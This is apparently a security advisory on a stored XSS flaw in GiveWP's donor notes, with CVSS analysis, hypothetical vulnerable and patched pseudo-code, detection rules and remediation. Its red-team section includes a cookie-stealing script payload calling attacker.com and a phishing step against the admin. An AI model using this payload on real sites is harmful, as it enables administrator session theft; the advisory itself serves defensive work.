CVE-2025-7205

Executive Summary

CVE-2025-7205 is a Stored Cross-Site Scripting (XSS) vulnerability in the GiveWP – Donation Plugin and Fundraising Platform for WordPress. The flaw resides in the donor notes parameter, affecting all versions up to and including 4.5.0. Due to insufficient input sanitization and output escaping, authenticated attackers with GiveWP worker-level access (or higher) can inject arbitrary web scripts. These scripts execute whenever an administrator visits the legacy version of the site, requiring social engineering to trick the admin into doing so. The CVSS score is 5.4 (Medium), with a low EPSS probability (0.0%) and no public exploit code currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is a third-party component within the WordPress ecosystem, and the risk is limited to sites running the vulnerable plugin version.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs GiveWP worker-level access.
• User Interaction (UI): Required (R) – The victim (admin) must visit the legacy site.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authenticated access and social engineering reduces the immediate risk, but the stored nature of the XSS means persistence is possible.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the donor notes feature of GiveWP. The plugin fails to properly sanitize user-supplied input when saving donor notes and does not escape the output when rendering those notes in the admin interface (specifically the legacy version of the site). An attacker with worker-level access (a role that can manage donations) can craft a malicious note containing JavaScript. When an administrator views the legacy donation page, the script executes in the context of the admin’s session, potentially allowing session hijacking, credential theft, or further privilege escalation.

The attack flow:

1. Attacker logs in with GiveWP worker-level credentials.
2. Attacker navigates to a donor’s profile and adds a note containing a malicious payload (e.g., <script>alert('XSS')</script>).
3. The note is stored in the database without proper sanitization.
4. Attacker tricks an administrator into visiting the legacy version of the site (e.g., via a phishing link).
5. The admin’s browser renders the note, executing the injected script.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.5.0): The plugin likely uses a function like give_get_donor_notes() or similar to retrieve and display notes. The vulnerable code does not escape the note content before outputting it in the admin area.

// Vulnerable example (pseudo-code)
function give_display_donor_notes($donor_id) {
    $notes = get_donor_notes($donor_id);
    foreach ($notes as $note) {
        echo $note->content; // No escaping
    }
}

Patched Code (Hypothetical): A patched version would use WordPress’s esc_html() or wp_kses_post() to sanitize output.

// Patched example (pseudo-code)
function give_display_donor_notes($donor_id) {
    $notes = get_donor_notes($donor_id);
    foreach ($notes as $note) {
        echo esc_html($note->content); // Escaped
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with GiveWP <= 4.5.0 installed.
• A user account with GiveWP worker-level access (or higher).
• An administrator account to be tricked.

Steps:

1. Log in as the worker-level user.
2. Navigate to Donations > Donors and select a donor.
3. Add a new note with the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the note.
5. Send a phishing email to the admin with a link to the legacy donation page (e.g., https://victim.com/wp-admin/edit.php?post_type=give_forms&page=give-donors&legacy=1).
6. When the admin visits the page, the script executes and exfiltrates the admin’s cookies.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual donor note content containing <script> tags or event handlers.
• Alert on admin logins from unusual IPs after a donor note is added.
• Use Web Application Firewall (WAF) rules to block common XSS payloads in donor note fields.

Hardening:

• Restrict GiveWP worker-level access to trusted users only.
• Disable the legacy version of the site if not needed.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Apply input validation and output escaping in custom code.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin interface.
• File: Suspicious entries in the wp_give_donor_notes database table containing JavaScript.
• Log: WordPress debug log entries showing unexpected script execution errors.
• Behavior: Admin accounts performing actions without user interaction (e.g., adding new admin users).

Detection Engineering

YARA Rule

rule CVE_2025_7205_GiveWP_XSS {
    meta:
        description = "Detects stored XSS payloads in GiveWP donor notes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7205"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: CVE-2025-7205 GiveWP Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS in GiveWP donor notes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "give-donors"
        http.body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in notes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7205 GiveWP Stored XSS Exfiltration"; flow:to_server,established; content:"give-donors"; http_uri; content:"<script"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade GiveWP to the latest patched version (if available) or apply a vendor-supplied patch.
2. Disable the legacy version of the site by adding a filter or modifying the plugin code (if possible).
3. Review and sanitize all existing donor notes for malicious content.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce strict Content Security Policy (CSP) headers.
• Conduct regular security audits of WordPress plugins.
• Limit the number of users with GiveWP worker-level access.

Workarounds (if patch is unavailable):

• Use a security plugin to block XSS payloads in form fields.
• Manually escape donor note output by editing the plugin’s template files (not recommended for non-developers).

Valters IT
Securing Digital Frontiers